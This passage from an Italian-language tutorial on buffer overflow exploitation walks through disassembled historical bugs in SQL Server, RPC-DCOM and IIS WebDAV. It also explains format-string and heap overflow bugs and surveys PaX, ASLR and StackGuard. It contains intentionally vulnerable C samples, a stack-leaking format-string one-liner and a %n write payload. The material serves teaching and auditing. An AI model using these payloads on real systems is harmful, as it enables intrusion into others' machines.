cchMultiByte, lpWideCharStr, cchWideChar)
UINT uCodePage; /* codepage */
DWORD dwFlags; /* character-type options */
LPCSTR lpMultiByteStr; /* address of string to map */
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 58 di 193
int cchMultiByte; /* number of characters in string */
LPWSTR lpWideCharStr; /* address of wide-character buffer */
int cchWideChar; /* size of wide-character buffer */
La funzione converte una stringa standard in una stringa di caratteri unicode. (wide-character)
"size-wide character buffer" specifica il numero di wide-character di cui il buffer di
destinazione è composto. NON la dimensione in byte.
Un errore classico è passare come sesto argomento sizeof(). Il parametro richiesto non è la
dimensione totale del buffer.
E' evidente il problema. Un carattere "wide" è di 2 byte, mentre uno normale è un solo byte.
Quindi la quantità di byte finali copiati sono il doppio del normale. Quindi lo stack viene
sovrascritto di tanti byte tanto quanti sono gli elementi "wide" del buffer.
Probabilmente osservando semplicemente le chiamate syscall presenti nel codice è raro trovare un
evidente problema di sicurezza.
Il metodo da adottare è la pate fondamentale al di là delle nostre conoscenze sull'assembly. Uno
dei punti più importanti è stabilire un "entry point" della nostra sessione di auditing.
Per punto di ingresso intendo un momento durante l'esecuzione del programma in cui vale la pena
cominciare ad osservarne il codice passo passo durante la sua esecuzione.
Nella maggior parte dei casi il punto ideale per questo entry-point è la dove il programma
accetta un input dall'esterno.
Anni fa il teamwork di sviluppo di EYE (il software di scansione) bombardò Micosoft IIS 5.0 in
tutti i punti dove esso accetta un input con stringhe composte dal carattere 'A'.
Il risultato fu che IIS ad un certo punto andò in blocco. Indagando nella memoria si scopri che
nel momento del blocco il registro
EIP conteneva il valore "0x41414141". Ovvero la codifica esadecimale di 'A'. Lo stack era stato
sovrascritto andando a coprire la locazione di memoria ove era memorizzato un indirizzo di
ritorno.
Molte funzioni sono però molto complesse per poter essere capite correttamente leggendone il
disassemblato. In aiuto giungono alcuni software come IDA Pro. Questo possiede una funzionalità
in grado di produrre dei grafici costituiti da frammenti di codice che mostrano la funzioni
gerarchicamente.
Vediamo alcuni esempi. (da "shellcoder's handbook")
- MS SQL Server bug
Il problema in questione è stato scoperto da Litchfield David, è legato ad una sprintf() non
controllata all'interno di una routine che processa una pacchetto proveniente dalla rete.
mov edx, [ebp+var_24C8]
push edx
push offset aSoftwareMic_17 ; “SOFTWARE\\Microsoft\\Microsoft SQL Server”...
push offset aSSMssqlserverC ; “%s%s\\MSSQLServer\\CurrentVersion”
lea eax, [ebp+var_84]
push eax
call ds:sprintf
add esp, 10h
Dove:
var_24C8 identifica un buffer che contiene dati di un pacchetto ricevuto.
var_84 identifica invece un buffer da 128 bytes.
Ciò che accade è piuttosto ovvio, i dati di un pacchetto possono raggiungere anche i 1024 bytes,
mentre il buffer di destinazione è molto più piccolo.
- SQL Server "Hello" vulnerability
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 59 di 193
Questo è il caso classico di strcpy()
mov eax, [ebp+arg_4]
add eax, [ebp+var_218]
push eax
lea ecx, [ebp+var_214]
push ecx
call strcpy
add esp, 8
Dove:
var_214 è un buffer da 512 bytes.
la stringa sorgente è semplicemente un pacchetto dati.
- LSD's RPC-DCOM vulnerability
Una implentazione di strcpy() con controlli insufficienti.
Lo spezzone di codice è adibito al parsing dei percorsi UNC.
mov ax, [eax+4]
cmp ax, ‘\‘
jz short loc_761AE698
sub edx, ecx
loc_761AE689:
mov [ecx], ax
inc ecx
inc ecx
mov ax, [ecx+edx]
cmp ax, ‘\‘
jnz short loc_761AE689
Il formato dei percorsi UNC è: "\\server\share\path". La funzione salta i primi 4 bytes,
saltando "\\". Poi copia la restante parte dentro un buffer di destinazione fino a che non viene
incontrato un backslash di terminazione.
La vulnerabilità è piuttosto ovvia, dato che potremmo inviare una stringa arbitraria verso il
server.
- IIS WebDAV vulnerability
WebDAV è una raccolta di metodi HTTP nata con lo scopo di rendere possibile la scrittura, oltre
che la lettura, di file presenti nei web server.
WebDAV permette ad esempio di modificare una pagina WEB, o condividere materiale rendendolo
subito disponibile.
La vulnerabilità in questione non è banale. Occorre molto tempo e pratica nel code auditing per
identificare bug di questo genere.
Il problema si presenta durante il passaggio di una stringa più lunga di 64K alla funzione
RtlDosPathNameToNtPathName_U().
La struttura dati di una stringa unicode o ANSI è la seguente:
typedef struct UNICODE_STRING {
unsigned short length;
unsigned short maximum_length;
wchar *data;
};
Nel dettaglio si tratta di un problema con una variabile di 16 bit senza segno.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 60 di 193
Se la stringa passata supera i 65.535 caratteri di lunghezza la variabile a 16 bit risulta
inadeguata a contenere il valore length, che diverrà molto piccolo.
Questo non dovrebbe esservi nuovo come problema perchè già visto.
Ammettiamo di passare alla funzione una stringa lunga 66.000 caratteri. (66.000 bytes)
66.000 --> 0001 1101 0000 contro il massimo valore rappresentabile con 16 bit:
65.535 --> 0000 1111 1111 si ha un troncamento:
\\\\ 1101 0000 --> 208
La struttura UNICODE_STRING conterrà una stringa di 66 KB ed il suo campo length settato a 208.
Ben 65.792 bytes in meno.
La sua iniziazzione avviene con il codice seguente appartenenete alla funzione
RtlInitUnicodeString:
mov edi, [esp+arg_4]
mov edx, [esp+arg_0]
mov dword ptr [edx], 0
mov [edx+4], edi
or edi, edi
jz short loc_77F83C98
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasw
not ecx
shl ecx, 1
mov [edx+2], cx // possible truncation here
dec ecx
dec ecx
mov [edx], cx // possible truncation here
Il valore length viene calcolato dall'istruzione "repne scasw" poi moltiplicato per due e
sistemato in un registro a 16 bit.
Proseguendo verso la chiamata a RtlDosPathNameToNtPathName_U troviamo:
mov dx, [ebp+var_30]
movzx esi, dx
mov eax, [ebp+var_28]
lea ecx, [eax+esi]
mov [ebp+var_5C], ecx
cmp ecx, [ebp+arg_4]
jnb loc_77F8E771
In questo spezzone var_28 è la lunghezza di un'altra stringa, e var_30 è la lunghezza della
struttura della string unicode detta prima (con il valore troncato a 16 bit).
Se la somma delle due stringhe è minore di arg_4, (lunghezza buffer destinazione) allora le due
stringhe vengono copiate nel buffer di destinazione, il quale è stato precedentemente allocato
nello stack.
Siccome una delle due stringhe è significativamente più lunga della dimensione del buffer di
destinazione, avviene una sovrascrittura dello stack.
Il ciclo che si occupa di copiare la stringa è facilmente riconoscibile ed è tra quelli standard
che implementano strcpy().
mov [ecx], dx
add ecx, ebx
mov [ebp+var_34], ecx
add [ebp+var_60], ebx
loc_77F8AE6E:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 61 di 193
mov edx, [ebp+var_60]
mov dx, [edx]
test dx, dx
jz short loc_77F8AE42
cmp dx, ax
jz short loc_77F8AE42
cmp dx, ‘/‘
jz short loc_77F8AE42
cmp dx, ‘.’
jnz short loc_77F8AE63
jmp loc_77F8B27F
Molto probabilmente questa parte di codice è un buon punto di partenza da dove partire con
l'indagine.
Attraverso questa vulnerabilità è possibile sovrascrivere di molti bytes lo stack, quindi il
thread crasherà e verrà chiamata la routine SEH (exception handler) sovrascritta dal contenuto
di buffer, che se preparato a dovere conterrà l'indirizzo del presunto entry point di una
funzione.
0x0c] Bugs relativi al formato delle stringhe
Up
Il seguente programma stampa a video tutti i possibili caratteri esadecimali:
#include <stdio.h>
void main(void)
{
int c;
printf("Decimal hex character\n\
---------------------\n");
for(c=0x20;c<256;c++){
printf(" %03d 0x%02x %c\n",c,c,c);}
return;
}
Oltre a fornire un comodo metodo per avere sottomano tutti i simboli ASCII, il programma
illustra il funzionamento delle funzioni della famiglia di printf(), ovvero quelle aventi tra i
loro argomenti, il tipo di formattazione richiesta, la stringa di formato. Una funzione come
printf è apparentemente innocua.
I problemi relativi alla formattazione delle stringhe, soprattutto quando sono fornite
dall'utente è una delle categorie più pericolose.
Le seguenti sono funzioni ipoteticamente affette da problemi di questo tipo:
printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
Dove si trova esattamente il punto?
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 62 di 193
Se analizziamo la sintassi e il modo in cui printf() viene chiamata dal punto di vista dello
stack, scopriamo alcuni fatti interessanti.
.text:
00401347 |. 894424 04 |MOV DWORD PTR SS:[ESP+4],EAX ; |
0040134B |. C70424 2D3040>|MOV DWORD PTR SS:[ESP],FormatSt.0040302D ; |ASCII " %03d
0x%02x %c"
00401352 |. E8 79050000 |CALL <JMP.&msvcrt.printf> ; \printf
Ecco la situazione dello stack al momento della chiamata a printf():
0022FF50 0040302D |format = " %03d 0x%02x %c" <--- Stringa di formato
0022FF54 00000020 |<%03d> = 20 (32.) <--- Argomenti ...
0022FF58 00000020 |<%02x> = 20
0022FF5C 00000020 \<%c> = 20 (' ')
I registri:
EAX 00000020
ECX 77C118BF msvcrt.77C118BF
EDX 77C31B78 msvcrt.77C31B78
EBX 7FFD9000
ESP 0022FF50
EBP 0022FF78
ESI FFFFFFFF
EDI 7C920228 ntdll.7C920228
EIP 00401352 FormatSt.00401352 <--- chiamata a printf
Gli argomenti vengono passati tramite lo stack.
Che cosa farà dunque printf? Invierà su stdout il contenuto di memoria puntato dal suo secondo
argomento, in questo caso una variabile che si trova in una data posizione in memoria, per
l'esattezza nello stack, uttilizzando un formato definito dal primo argomento.
A fronte di questa considerazione, prendiamo in analisi quast'altro programma:
#include <stdio.h>
int main(int argc, char**argv)
{
/*
* This program show a problem with printf format string,
* Pass to command line any format string type for achieve particular printf function
beahavior.
* For example:
* ./fmt "0x%X 0x%X 0x%X"
*/
if(argc!=2) {
printf("Error - supply a format string please\n");
return -1;
}
printf(argv[1]);
printf("\n");
return 0;
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 63 di 193
}
eseguiamo passando come argomento la stringa di formato: "0x%08x 0x%08x 0x%08x 0x%08x".
Output:
0xcd06a611 0x00401360 0x00401315 0x6ffb5bbc
E' come se avessimo eseguito printf in questo modo: "printf(%x %x %x %x);"
Non inserendo tutti gli argomenti di printf(), questa non può accorgersene e stampa esattamente
quello che si trova nella posizione prevista.
Ovvero: ESP+4, ESP+8, ESP+12, ESP+16.
Possiamo in questo modo stampare elementi provenienti dallo stack.
Questa particolarità di printf può essere intelligentemente sfruttata:
root@HackLab:~# ./a.out $(python -c "print ('%X' * 100)")
8049FF4BFBD3A58BFBD3A60B8064F50BFBD3A60BFBD3AB8B7EF868580484A08048370BFBD3AB8B7EF86852BFBD3AE4BF
BD3AF0B8056BB81108048265B803BFF480484A08048370BFBD3AB8FF54C0755A2C9465000B806A090B7EF85ADB8072FF
4280483700804839180484242BFBD3AE480484A08048490B8064F50BFBD3ADCB806FAAA2BFBD5564BFBD556C0BFBD563
5BFBD5652BFBD5666BFBD5679BFBD5689BFBD5694BFBD56E4BFBD5739BFBD5781BFBD5795BFBD57A7BFBD57B7BFBD57C
BBFBD57E1BFBD57EBBFBD581ABFBD5C43BFBD5C70BFBD5CA2BFBD5CCFBFBD5CFABFBD5D23BFBD5D37BFBD5DE0BFBD5E1
5BFBD5E1FBFBD5E26BFBD5E38BFBD5E51BFBD5E78BFBD5E80BFBD5E8BBFBD5EA1BFBD5EAEBFBD5F10BFBD5F3BBFBD5F5
BBFBD5F68BFBD5F75BFBD5FA0BFBD5FC2BFBD5FCDBFBD5FEA020FFFFE41421FFFFE0001078BFBFF6100011
Passando un indrizzo al programma è possibile stamparne a video il contenuto.
Ora, pensiamo alla stringa di formato di printf() "%n".
%n setta in una variabile il numero di caratteri inviati su stdout dalla chiamata stessa fino a
quel momento. Quale possa essere oggi la sua utilità nello sviluppo non so, so però che ci
fornisce l'opportunità di scrivere nello stack. Ora si tratta solo di usarla in un modo furbo.
Anni fa sarebbe stato possibile utilizzare printf per andare ad inserire qualsiasi valore in
qualsiasi posizione dello stack dopo l'indirizzo corrispondente agli argomenti.
Ad esempio:
root@HackLab:~# ./a.out $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")%49143x%4\$hn%15731x%5\ $hn
La stringa passata come argomento sembra senza significato ma se analizzata con calma ci
accorgiamo di alcune cose:
$(printf "\x96\x97\x04\x08\x94\x97\x04\x08")
Sono due indirizzi di memoria scritti al contrario 0x08049794 e 0x08049794
%49143x
Non esegue operazioni di stampa ma incrementa %n di 49143 che con i precedenti arriva a 49143+8
= 49151
%4\$hn
$ accede direttamente al parametro successivo, ovvero hn che sarà l'n byte scritto con h che
identifica (scriverà) uno short anzichè un int.
%15731x
Altri byte, 49151 + 15731 + 4 = 64890
x%5\ $hn
stesso discorso fatto prima.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 64 di 193
Non perdiamo altro tempo per questo concetto dato che se ancora esistono molti sistemi dotati di
kernel inferiori al 2.4 questi non sono più la maggior parte e sono in forte diminuzione. Mentre
la maggior parte usa i nuovi kernel, quindi dal 2.4 in su, questi hanno sistemi di protezione
della memoria che riarrangiano lo stack mescolandone secondo un dato criterio gli elementi e
modificano ad ogni escuzione di un dato programma il suo layout di indirizzi virtuali. Pertanto
non abbiamo più a disposizione nessun riferimento.
In conclusione, un bug relativo alle stringhe di formato capita quando un dato fornito
dall'utente è incluso nella stringa che specifica il formato di una delle funzioni appartenenti
alla famiglia di printf. L'attaccante fornisce un numero di specificatori di formato che non
hanno corrispondenti argomenti nello stack, quindi al loro posto vengono utilizzati valori che
si trovano nello stack nelle previste posizioni.
Rimane comunque una vulnerabilità nella maggior parte dei casi locale.
0x0d] Bugs relativi all'allocazione nello heap
Up
Rimanendo in ambiente linux, introduciamo le vulnerabilità legate allo heap. Che cosè lo heap?
Come saprete oltre lo stack già citato, un processo ha a disposizione anche un'altra regione di
memoria per l'allocazione di variabili, questo viene appunto chiamato heap. Su linux la sezione
per allocare variabili non inizializzate è la .bss, mentre la sezione .data viene utilizzata per
quelle inizializzate. Ad esempio la seguente dichiarzione alloca bytes nella sezione .data:
char*buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main() {
...
Utilizzare una regione di memoria diversa dallo stack per allocare variabili e strutture è
conveniente oltre che necessaria per vari motivi; in primo luogo lo stack viene utilizzato
principalmente per memorizzare indirizzi di chiamate a funzioni effettuate, pertanto è bene non
occupare questa area di memoria con variabili, che possono raggiungere anche centinaia di byte.
In secondo luogo, utilizzando lo heap un ipotetico attacco verso le variabili darebbe meno
possibilità all'attaccante.
Le chiamate di sistema incaricate all'allocazione di memoria nello heap, detta "dinamica", sono
brk() e mmap(), utilizzate da malloc() ad esempio.
Esistono però anche una serie di controindicazioni nell'uso dello heap. Quando malloc riserva
spazio per le variabili utente, tiene traccia della richiesta, dei byte allocati e di altre
informazioni sistemandole in due posti, in alcune variabili globali utilizzate
dall'implementazione stessa di malloc(), e in un blocco di memoria prima e dopo lo spazio
allocato. In questo modo, come per lo stack overflow, anche l'heap overflow può potenzialmente
sovrascrivere locazioni di memoria critiche.
Alcuni esempi di bug legati all'allocazione incontrollata:
memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2);
buf=malloc(user_supplied_int+1);
memcpy(buf,user_buf,user_supplied_int);
buf=malloc(strlen(user_buf+5));
strcpy(buf,user_buf);
buf=(char **)malloc(BUF_SIZE);
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 65 di 193
while (user_buf[i]!=0) {
buf[i]=malloc(strlen(user_buf[i])+1);
i++;
}
buf=malloc(1024);
strcpy(buf,user_supplied);
buf=malloc(sizeof(something)*user_controlled_int);
for (i=0; i<user_controlled_int; i++) {
if (user_buf[i]==0)
break;
copyinto(buf,user_buf);
}
Ora, come per lo stack anche lo heap abbiamo detto contiene sia variabili fornite dall'utente,
sia informazioni di sistema legate all'allocazione stessa. malloc() recupera uno grosso blocco
di memoria dall'heap e divide questo in blocchi, all'utente restituisce uno di questi blocchi
quando viene richiesto. free(), quando viene chiamata può decidere se prendere il blocco da
liberare, e potenzialmente unirlo con lo spazio libero (altri blocchi) contiguo. Quello che è
possibile fare è manipolare le funzioni malloc() o free()...
Forniamoci del sorgente che segue, se non l'avete già notato questo contiene un bug da heap
overflow molto banale.
/*notvuln.c*/
int
main(int argc, char** argv) {
char *buf;
buf=(char*)malloc(1024);
printf("buf=%p",buf);
strcpy(buf,argv[1]);
free(buf);
}
Vediamo innanzi tutto come trovare la lunghezza di buffer senza partire dal sorgente ma da gdb,
ad esempio nel caso in cui non disponiamo dei sorgenti.
La lughezza del buffer allocato è sistemata contiguamente ad esso nello heap:
...
(gdb) x/xw buf-4
0x804b004: 0x00000409
...
Come vedete 0x409 (1024) è la dimensione dello spazio allocato, capite bene che in situazioni
dove la dimensione delle stringhe non è controllata è possibile sovrascrivere questi valori,
magari di altri buffer. Non è necessario che la chiamata a malloc() viene eseguita, il valore è
già sistemato nello heap prima, dato che il valore è deciso a priori.
Il problema del programma appena visto, non è in realtà così critico come sembra (date anche le
limiate operazioni compiute dal programma), infatti la copia incontrollata andrebbe si a
sovrascrivere porzioni di heap ma nussuna locazione utile ai nostri scopi.
Prendiamo ora in esame un'altro bug:
/*basicheap.c*/
int
main(int argc, char** argv) {
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 66 di 193
char *buf;
char *buf2;
buf=(char*)malloc(1024);
buf2=(char*)malloc(1024);
printf(“buf=%p buf2=%p\n”,buf,buf2);
strcpy(buf,argv[1]);
free(buf2);
}
In questa versione sono presenti due allocazioni una di seguito all'altra. Quando la funzione
strcpy() viene chiamata, questa consente di copiare contiguamente a buf una stringa fornita in
input. Ora, rammentate che lo heap cresce in maniera opposta allo stack, quindi capite che
l'invio di una stringa più grande di alcuni bytes della dimensione di buf vanno a sovrascrivere
la struttura che contiene informazioni riguardo lo spazio allocato per buf2. Di conseguenza la
chiamata a free() si ritroverà dati non validi per operare sullo heap:
matteo@matteo2:~$ ltrace ./a.out `perl -e 'print "A" x 5000'`
__libc_start_main(0x8048484, 2, 0xbfce6184, 0x8048500, 0x80484f0 <unfinished ...>
malloc(1024) = 0x08757008
malloc(1024) = 0x08757410
printf("buf=%p buf2=%p\n", 0x8757008, 0x8757410buf=0x8757008 buf2=0x8757410
) = 29
strcpy(0x08757008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x08757008
free(0x08757410 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Ma capiamo esattamente come è organizzata la memoria nello heap, ovvero cosa sono e come sono
strutturari i chunk. Questo abbiamo detto è un blocco di memoria situato nello heap, ma
contiguamente ad esso abbiamo appena visto vi sono altre informazioni. Bene queste informazioni
sono mantenute in una struttura, la seguente: (definita in sys/malloc/malloc.c)
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
Questa trattazione sullo heap ci dovrebbe bastare per scovare potenziali problemi relativi alla
allocazione dinamica nei programmi.
0x0e] (Arch: LINUX) - exploit oggi, PaX e StackGuard
Up
Ciò che abbiamo visto nei capitoli precedenti è una "passeggiata di salute" in confronto a ciò
che è necessario sapere e fare al giorno d'oggi per poter effettuare una operazione similare a
quella appena vista. Negli anni 90 qualsiasi informatico capace, con un pò di sforzo poteva
arrivare a fare quello che abbiamo appena visto nell'esempio e prendere il controllo di una
macchina remota se in possesso di una vulnerabilità di quel tipo.
Negli ultimi anni del millennio presero vita diversi progetti con l'obiettivo comune di rendere
molto più difficile la vita ad hacker e co.
A parte i controlli fatti dal programmatore non abbiamo visto nessun altro check sulla memoria
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 67 di 193
fatto in autonomia dal sistema.
D'ora in poi darò per scontato molte delle cose che prima abbiamo affrontato più nel dettaglio.
Si presuppone che queste siano state tutte acquisite in modo più che soddisfacente.
Cominciamo...
PaX
L'obiettivo del progetto PaX è la ricerca e lo sviluppo di un sistema di sicurezza riguardo gli
exploit di errori software che consentono di eseguire codice arbitrario da parte di un
attaccante. Questo viene fatto attraverso varie precauzioni.
La prima adottata è la marcatura dello stack di memoria del processo come non eseguibile.
Pertanto su un kernel 2.6.30 vedremo:
root@HackLab:~# cat /proc/self/maps
08048000-0804f000 r-xp 00000000 03:01 1359890 /bin/cat
...
b8014000-b8015000 r--p 0001a000 03:01 843797 /lib/ld-2.8.90.so
b8015000-b8016000 rw-p 0001b000 03:01 843797 /lib/ld-2.8.90.so
bfe00000-bfe15000 rw-p 00000000 00:00 0 [stack] << --- x?
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Come vedete l'area di stack non è marcata come eseguibile. Quando tenteremo di saltare a livello
di esecuzione su un indirizzo di stack ci verrà
riportato un errore SIGSEGV. Questa protezione è molto efficace. In questo modo il massimo che
si può fare è provocare il crash del programma o del sistema.
Brevemente, l'operazione di marcatura come non eseguibile viene fatta all'atto di creazione del
processo attraverso la syscall mprotect() Questa decide se la parte di memoria da mappare ha
necessità di essere scritta / letta o eseguita. Si può guardare direttamente il sorgente
mm/mprotect.c per maggiori informazioni al riguardo.
La seconda caratteristica introdotta da PaX è la randomizzazione del layout di indirizzi
virtuali del processo (ASLR). Questo disturba ulteriormente il nostro lavoro. Una delle cose che
tanto abbiamo detto essere di cruciale importanza sapere è dove si troveranno certi indirizzi
all'interno dello stack.
Con questo sistema non è più possibile prevedere nel modo classico l'indirizzo che troveremo
nello stack. Al momento della rilocazione dell'eseguibile in memoria, gli indirizzi virtuali
sono randomizzati. Le carte in tavola vengono mischiate. Sulla documentazione ufficiale del
progetto PaX viene riportata anche una minuziosa valutazione delle probabilità di successo dopo
questa randomizzazione. L'implementazione di questo sistema si basa sulla generazione dei VA con
il device random o sul tempo di sistema.
Pensiamo all'esempio del capitolo precedente. Non solo la sovrascrittura dello stack con
l'indirizzo di buffer è inefficace, ma anche se avessimo indovinato tale locazione, la nostra
shellcode non sarebbe stata eseguita e il thread del server sarebbe terminato con SIGSEGV.
In ordine di essere un pò più esaurienti, diamo un occhio a come i processi vengono rilocati con
VA diversi ad ogni esecuzione, possiamo usare questo comando per due o più volte:
- Kernel version: 2.6.30
root@HackLab:~# cat /proc/self/maps
08048000-0804f000 r-xp 00000000 03:01 262162 /bin/cat
0804f000-08050000 r--p 00006000 03:01 262162 /bin/cat
08050000-08051000 rw-p 00007000 03:01 262162 /bin/cat
08e82000-08ea3000 rw-p 00000000 00:00 0 [heap]
b7d9d000-b7ef5000 r-xp 00000000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so
b7ef5000-b7ef7000 r--p 00158000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 68 di 193
b7ef7000-b7ef8000 rw-p 0015a000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so
b7ef8000-b7efb000 rw-p 00000000 00:00 0
b7f10000-b7f12000 rw-p 00000000 00:00 0
b7f12000-b7f2c000 r-xp 00000000 03:01 1084390 /lib/ld-2.8.90.so
b7f2c000-b7f2d000 rw-p 00000000 00:00 0
b7f2d000-b7f2e000 r--p 0001a000 03:01 1084390 /lib/ld-2.8.90.so
b7f2e000-b7f2f000 rw-p 0001b000 03:01 1084390 /lib/ld-2.8.90.so
bf9f3000-bfa08000 rw-p 00000000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
root@HackLab:~# cat /proc/self/maps
08048000-0804f000 r-xp 00000000 03:01 262162 /bin/cat
0804f000-08050000 r--p 00006000 03:01 262162 /bin/cat
08050000-08051000 rw-p 00007000 03:01 262162 /bin/cat
086c5000-086e6000 rw-p 00000000 00:00 0 [heap]
b7e15000-b7f6d000 r-xp 00000000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so
b7f6d000-b7f6f000 r--p 00158000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so
b7f6f000-b7f70000 rw-p 0015a000 03:01 1123591 /lib/tls/i686/cmov/libc-2.8.90.so
b7f70000-b7f73000 rw-p 00000000 00:00 0
b7f88000-b7f8a000 rw-p 00000000 00:00 0
b7f8a000-b7fa4000 r-xp 00000000 03:01 1084390 /lib/ld-2.8.90.so
b7fa4000-b7fa5000 rw-p 00000000 00:00 0
b7fa5000-b7fa6000 r--p 0001a000 03:01 1084390 /lib/ld-2.8.90.so
b7fa6000-b7fa7000 rw-p 0001b000 03:01 1084390 /lib/ld-2.8.90.so
bfa26000-bfa3b000 rw-p 00000000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Riferendoci alla prima videata,
In questa versione di kernel, ecco come un processo utente viene mappato in memoria; la
mappatura parte sempre dall'indirizzo 0x08048000. A questa locazione troviamo il segmento .text,
all'indirizzo successivo troviamo il segmento .bss, notiamo subito che questo non è eseguibile.
Qualcosa di più interessante si trova all'indirizzo 0x08e82000 è lo heap, notate l'indirizzo di
questo cambia alla successiva esecuzione del comando.
Agli indirizzi successivi sono mappate le libc, su linux tali ibrerie vengono mappate in ogni
processo che ne ha bisogno, rappresentano l'interfaccia utente con il kernel oltre altre
funzioni. Anche questi indirizzi sono randomizzati.
Le due regioni successive sono invece inutilizzate.
Proseguendo troviamo le librerie dinamiche di Linux, queste contengono varie funzioni utilizzate
dal linker e sono indispensabili per poter fornire altre librerie a runtime, ad esempio le libc
appena citate.
Finalmente troviamo lo stack, che sapete a cosa serve, questo non è marcato come eseguibile.
Al prossimo indirizzo troviamo un'altra libreria dinamica necessaria all'eseguibile [vdso] o
chiamata anche "Linux-gate". Molti exploit hanno sfruttato il fatto che questa libreria viene
sempre allocata allo stesso indirizzo per effettuare un tipo di attacco simile all'esempio
chiamato "Return-To-Libc" per motivi che vedremo. Questo fino alla successiva versione del
kernel, dove il problema è stato risolto effettuando la randomizzazione anche di questa regione
di processo.
Infattti spostiamoci su una macchina con versione kernel successiva, diamo la stessa serie di
comandi:
- Kernel version: 2.6.32
matteo@Moon:~$ cat /proc/self/maps
00261000-003b4000 r-xp 00000000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so
003b4000-003b5000 ---p 00153000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so
003b5000-003b7000 r--p 00153000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so
003b7000-003b8000 rw-p 00155000 08:01 875353 /lib/tls/i686/cmov/libc-2.11.1.so
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 69 di 193
003b8000-003bb000 rw-p 00000000 00:00 0
007fe000-00819000 r-xp 00000000 08:01 859856 /lib/ld-2.11.1.so
00819000-0081a000 r--p 0001a000 08:01 859856 /lib/ld-2.11.1.so
0081a000-0081b000 rw-p 0001b000 08:01 859856 /lib/ld-2.11.1.so
00dc9000-00dca000 r-xp 00000000 00:00 0 [vdso]
08048000-08054000 r-xp 00000000 08:01 277999 /bin/cat
08054000-08055000 r--p 0000b000 08:01 277999 /bin/cat
...
matteo@Moon:~$ cat /proc/self/maps
00859000-0085a000 r-xp 00000000 00:00 0 [vdso]
00b9c000-00bb7000 r-xp 00000000 08:01 859856 /lib/ld-2.11.1.so
00bb7000-00bb8000 r--p 0001a000 08:01 859856 /lib/ld-2.11.1.so
...
Linux-Gate viene randomizzato.
Attraverso le librerie è possibile alcune volte aggirare (solo) il problema dello stack non
eseguibile imposto da PaX, il comando seguente ci mostra le dipendenze di un eseguibile senza
conoscere dove si trova all'interno della cartella /bin.
Dipendenze di "ls":
matteo@Moon:~$ ldd $(find /bin -name ls)
linux-gate.so.1 => (0x00ee5000)
librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0x007e3000)
libselinux.so.1 => /lib/libselinux.so.1 (0x0093d000)
libacl.so.1 => /lib/libacl.so.1 (0x00110000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x00aca000)
libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0x007f7000)
/lib/ld-linux.so.2 (0x0051b000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0x00338000)
libattr.so.1 => /lib/libattr.so.1 (0x00f6e000)
In quanto al fatto della marcatura come non eseguibile dello stack, lo possiamo vedere dalla
colonna permessi del file maps, anche la maggior parte delle altre regioni è divenuta non
eseguibile o comunque non scrivibile/eseguibile insieme.
StackGuard/ProPolice
L'ultimo è una versione successiva del primo, di fatto lavorano con lo stesso principio. Se
prima la cosa era molto semplice ora ci conviene fare uno schemino, anche in vista di mettere in
ordine alcuni concetti.
Il seguente mostra la struttura dello stack classico,
____________________
| |
| NULL | PAGE_OFF, env_end
|____________________|
| |
|Environments strings| env_start, arg_end
|____________________|
| |
| Comm-line arg | arg_start
|____________________|
| |
| Dynamyc-linker's |
|_______table________|
| |
| anvp[] | &envp[0]
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 70 di 193
|____________________|
| |
| argv[] | &argv[0]
|____________________|
| |
| argc |
|____________________| V start_stack
| |
| Return address | Stack top (esp register)
|____________________|
| |
| Arguments |
Date le limitazini imposte dai nuovi sistemi di sicurezza dobbiamo allargare la nostra veduta,
oltre alle variabili allocate, anche a tutti gli altri elementi presenti nello stack.
